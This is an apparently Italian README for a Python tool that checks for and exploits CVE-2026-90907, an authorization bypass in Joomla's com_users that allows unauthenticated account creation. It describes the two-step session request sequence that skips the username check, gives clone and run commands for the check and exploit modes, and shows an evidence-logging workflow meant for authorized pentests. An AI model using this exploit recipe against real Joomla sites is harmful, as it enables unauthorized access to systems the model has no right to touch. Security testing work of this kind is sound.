
CLI Python che rileva e sfrutta CVE-2026-90907, un bypass di autorizzazione in Joomla! com_users che consente la creazione di account non autenticati; modalità di verifica non distruttiva più PoC.
SOLO PER TEST DI SICUREZZA AUTORIZZATI. Eseguire la modalità exploit contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta ai test è illegale. La modalità predefinita (
CHECK) è non distruttiva e non crea nulla.
Strumento CLI che rileva e (opzionalmente, con -U) sfrutta
CVE-2026-90907, una
bypass di autorizzazione di severità media (CVSS 6.9) nel core di Joomla! CMS
che consente a un attaccante remoto non autenticato di attivare la creazione
non autorizzata di account utente tramite il controller com_users → profile.save
— anche quando la registrazione pubblica è disabilitata nella Configurazione Globale.
| Campo | Valore |
|---|---|
| CVE ID | CVE-2026-90907 |
| Severità | Media — CVSS 6.9 |
| Tipo | Bypass di autorizzazione / controllo degli accessi improprio (CWE-862) |
| Componente | Componente com_users, task profile.save |
| Vettore di attacco | Remoto, non autenticato, POST in due fasi nella stessa sessione |
| Corretto in | Joomla! 5.4.9 e 6.1.4 (rilascio di sicurezza, 2026-09-29) |
Secondo il bollettino di sicurezza Joomla! (2026-09-29) e le fonti di advisory pubbliche:
Anche Joomla! 3.x è interessato ma è End-of-Life: non riceverà una patch ufficiale — pianificare una migrazione. Il controllo del banner di versione dello strumento è informativo; il verdetto è comportamentale (vedi sotto).
L'account controllato dall'attaccante è un account front-end con privilegi bassi e senza accesso amministrativo o al backend. Ciononostante ciò consente a un attaccante di:
ProfileModel::save() esegue unset() su $data['username'] solo quando il nome utente
è considerato conforme. isUsernameCompliant deriva dallo stato utente
com_users.edit.profile.data, che il controller popola con la
richiesta completa quando la validazione del form fallisce. Il controller inoltre non
verifica lo stato di login della richiesta in ingresso. Pertanto, all'interno di una singola
sessione guest:
privacyconsent → la validazione fallisce → il nome utente sporco viene persistito
nello stato utente della sessione (nulla viene ancora creato).jform[privacyconsent][privacy]=1 → la protezione unset() viene saltata →
INSERT INTO #__users → redirect 303 con user_id > 0.user.login (il nome del campo è
password, non passwd) con la password corretta rispetto a una errata e
leggere il messaggio flash: corretta → "you cannot access the private section"
(auth OK, ACL blocca) / errata → "do not match". Il differenziale
è la prova.git clone https://github.com/aorozco-sys/CVE-2026-90907.git
cd CVE-2026-90907
pip install -r requirements.txt # only dependency: requests
# CHECK mode (default) — non-destructive: never sends consent, never creates an account
python3 joomla_cve_2026_90907.py https://ejemplo.com
# Verbose CHECK (full request/response log on stderr)
python3 joomla_cve_2026_90907.py https://ejemplo.com --no-color -v
# EXPLOIT mode (-U) — creates a real account in #__users (authorized targets only!)
python3 joomla_cve_2026_90907.py https://ejemplo.com \
-U audit.user -E [email protected] -N "CVE Audit"
# Through a proxy (e.g. Burp Suite) with a custom timeout
python3 joomla_cve_2026_90907.py https://ejemplo.com -U audit.user \
--proxy http://127.0.0.1:8080 --timeout 30
# Exploit without the differential login verification
python3 joomla_cve_2026_90907.py https://ejemplo.com -U audit.user \
--no-verify-login
| Flag | Descrizione |
|---|---|
TARGET | URL di base (normalizzato; senza slash finale) |
-U/--username | Abilita la modalità EXPLOIT. Senza -U → CHECK non distruttivo |
-P/--password | Predefinita: generata con secrets, 16 caratteri alfanumerici+simboli, sempre stampata |
-E/--email | Predefinita: <username>@example.invalid |
-N/--name | Predefinito: CVE Audit |
-o/--output | Directory delle evidenze (predefinita evidence_cve90907_<ts> nella cwd) |
--proxy URL | Proxy per le richieste (Burp: http://127.0.0.1:8080) |
--timeout | Predefinito 20 s |
--ua | User-Agent (predefinito cve-2026-90907-audit/1.0) |
--no-verify-login | Salta il differenziale di login (modalità exploit) |
--verify-ssl | Verifica TLS (predefinito: non verificare) |
--no-color | Nessun colore ANSI |
-v/--verbose | Log completo req/resp su stderr |
| Codice | Significato |
|---|---|
0 | Ok / non vulnerabile / sconosciuto |
1 | Vulnerabile (LIKELY in check, CONFIRMED in exploit) |
2 | Errore operativo (rete, dipendenze, ecc.) |
profile in Location, nessun redirect al login) + flash di
errore di validazione (es. messaggio di privacy-policy richiesta). Conferma
definitiva = modalità exploit.summary.json.Location con user_id > 0 dopo W2.Ogni esecuzione scrive una directory -o con timestamp contenente 00_token.txt,
01_version.txt, 02_w1_seed.txt, 03_w2_exploit.txt,
04_login_correct.txt, 05_login_wrong.txt e summary.json. Ogni file
registra la REQUEST completa (metodo/URL/header chiave/body), la RESPONSE (status,
Location, Server, flash estratto, primi 500 byte del body) e i timestamp
ISO — pronti per essere allegati a un report di pentest.
privacyconsent e usa un
username non conforme (probe()): il salvataggio fallisce sulle regole del form e nulla viene persistito.user_id > 0 (non dovrebbe), la modalità
exploit si interrompe prima di W2.user_usergroup_map).